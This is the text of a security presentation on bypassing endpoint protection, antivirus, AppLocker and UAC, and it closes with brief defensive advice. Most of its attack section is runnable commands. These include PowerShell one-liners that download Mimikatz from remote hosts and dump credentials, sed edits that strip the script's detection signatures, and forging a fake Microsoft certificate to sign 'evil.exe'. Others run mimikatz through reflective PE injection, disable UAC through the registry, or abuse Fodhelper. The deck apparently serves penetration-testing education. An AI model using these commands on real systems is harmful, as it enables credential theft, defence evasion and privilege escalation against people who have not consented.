Endpoint protection is not enough.

BySumedt Jitpukdebodin

LPIC-1, NCLA, Comptia Security+, C|EHv6, eCPPT, IWSS, CPTE, GIAC GPEN, OSCP

# wHoAmi• Name: Sumedt Jitpukdebodin

• Job: Security Consultant @ G-ABLE,

• Non-profit job: OWASP Thailand, 2600Thailand

• Hobbies: Hacking, Digital Forensic, Malware Analysis, Programming, excite in many security fields.

• My item: www.techsuii.com, หนังสือก้าวแรกสู่นักทดสอบเจาะระบบ

• Another: Reconnaissance Me.

Objective

• Statistics

• Endpoint Protection

• Bypassing

Statistics

Malware Statistics

Distribution of malware under Windows in 2016

TOP 10 file extensions malware Q1 2017

Endpoint Protection

What is Endpoint Protection?

• Endpoint security or endpoint protection is an approach to the protection of computer networks that are remotely bridged to client devices. The connection of laptops, tablets, mobile phones and other wireless devices to corporate networks creates attack paths for security threats.

Why we use Endpoint Protection

How Antivirus works

• Based on heuristic

• Based on signature

• Based on cloud

Evasion Techniques

• Anti-security techniques (Avoid detection)

• Anti-sandbox techniques (Avoid automatic analysis)

• Anti-analyst techniques (Avoid analysis)

Anti-security techniques

• Obfuscation

• Crypter

• Packer

• FUD (Fully UnDetectable by antimalware)

• etc.

Framework for generate bypass antivirus malware

• Veil

• TheFatRat

• Winpayloads

• Dr0p1t-Framework

• Avet

• VBad

• Obfuscated Empire

• OWASP-ZSC

• etc

Invoke-Mimikatz

• powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"

Just a Mimikatz

• sed -i -e 's/Invoke-Mimikatz/Invoke-redpill2017/g' redpill2017.ps1

• sed -i -e '/<#/,/#>/c\\' redpill2017.ps1

• sed -i -e 's/^[[:space:]]*#.*$//g' redpill2017.ps1

• sed -i -e 's/DumpCreds/DumpCred/g' redpill2017.ps1

• sed -i -e 's/ArgumentPtr/NotTodayPal/g' redpill2017.ps1

• sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' redpill2017.ps1

• sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions #\-/g" redpill2017.ps1

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Invoke-redpill2017

• powershell "IEX (New-Object Net.WebClient).DownloadString('http://10.211.55.3:9000/redpill2017.ps1'); Invoke-redpill2017 -DumpCred"

Sign malware with fake certificate

• osslsigncode verify <microsoft exe>

• openssl req -x509 -newkey rsa:4096 -keyout fake_microsoft_key.pem -out fake_microsoft_cert.pem -days 365 -subj “/C=US/ST=Washington/L=Redmond/O=Microsoft Corporation/OU=MOPR/CN=Microsoft Corporation”

• osslsigncode sign -in evil.exe -key fake_microsoft_key.pem -certs fake_microsoft_cert.pem -out evil_signed.exe

But run EXE is so hard…

Try to use indirect ways

• Macro

• vbs

• DLL

• hta (HTML Application)

• PS1

• etc.

Example of HTA with vbscript

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AppLocker

• Whitelisting application

• Executable files, scripts, Windows Installer files, dynamic-link libraries (DLLs), packaged apps, and packaged app installers

• Windows 7 >

• Single computer (secpol.msc), Group Policy Management (gpmc.msc)

AppLocker File Type

• These are regular .exe and .com applications (cmd.exe, ipconfig.exe, etc.)

• Windows Installer files (.msi, .msp, .mst), typically used to install a new software on the machine.

• Script files with the following extensions .ps1, .vbs, .vba, .cmd and .js.

• Packaged Apps installed through the Microsoft Store

• DLL files (.dll and .ocx in the advanced tab).

AppLocker Rule

• Execution Path

• Publisher Information

• File Hash

Bypass AppLocker• Find exception path

• “C:\Windows\Tasks”

• “C:\Windows\tracing”

• Load file from memory (PowerSploit framework)

• $ByteArray = [System.IO.File]::ReadAllBytes(“C:\users\richard\desktop\mimikatz.exe");

• Invoke-expression(Get-Content .\Invoke-ReflectivePEInjection.ps1 |out-string)

• Invoke-ReflectivePEInjection -PEBytes $ByteArray

• Obfuscate exe for bypass hash

• Powershell without powershell (Casey Smith) (Powershell Empire) and StarFighter

• Registry Key Manipulation

• Run PE file by using microsoft tool

• C:\windows\system32\rundll32.exe

• C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe ( install and uninstall applications via the command prompt)

• C:\Windows\System32\regsvr32.exe (Install and Uninstall dll file)

• C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe (Using to build products in environments where Visual Studio is not installed)

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UAC• User Account Control (UAC)

• Run with standard user rights instead of full administrator rights

• C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

• C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f

Bypass UAC• Using mistake of any autoElevate binary (Using sigcheck for check autoElevate flag)

• UACMe

• DLL Hijacking

• autoElevate

• Elevated COM interface

• SDCLT - Backup command with specific option

• Fodhelper - Manage Optional Features

• Using process or dll injection into Windows Publisher Certificate

• Using Windows Update Standalone Installer (wusa.exe)

• etc.

Bypass UAC with Fodhelper• Fodhelper.exe (%WINDIR%\\System32\\fodhelper.exe)

• Missing registry

• HKCU:\Software\Classes\ms-settings\shell\open\command

• HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute

• HKCU:\Software\Classes\ms-settings\shell\open\command\(default)

The last show time (4)

Protecting against malware

• People: Security Awareness Training, Always update yourself.

• Process: Restrict program install or usage with policy, Updates, Backups, Governance, Intelligence, Incident response plan, and more => Security Team

• Technology: Technology supports the team and processes

• Backup

• Antivirus

• Anti-ransomware

• Endpoint Detection

Q & A

Resource• https://www.blackhillsinfosec.com/?p=5555

• https://github.com/nccgroup/Winpayloads

• https://www.youtube.com/watch?v=6bUoz5ChTOs

• https://github.com/D4Vinci/Dr0p1t-Framework

• https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf

• https://www.av-test.org/fileadmin/pdf/security_report/AV-TEST_Security_Report_2016-2017.pdf

• https://github.com/Pepitoh/VBad

• https://stackoverflow.com/questions/18287960/signing-windows-application-on-linux-based-distros

• https://twitter.com/Andrew___Morris/status/879712530041626627

• https://github.com/cobbr/ObfuscatedEmpire

• https://pentestlab.blog/tag/uac/

• https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/

• https://www.greyhathacker.net/?p=796

• https://pen-testing.sans.org/resources/papers/gpen/windows-script-host-hack-windows-120189

• https://www.slideshare.net/ThomasRoccia/malware-evasion-techniques

• https://www.slideshare.net/CTruncer/the-supporting-role-of-antivirus-evasion-while-persisting

• https://github.com/api0cradle/UltimateAppLockerByPassList

• https://offsec.provadys.com/UAC-bypass-dotnet.html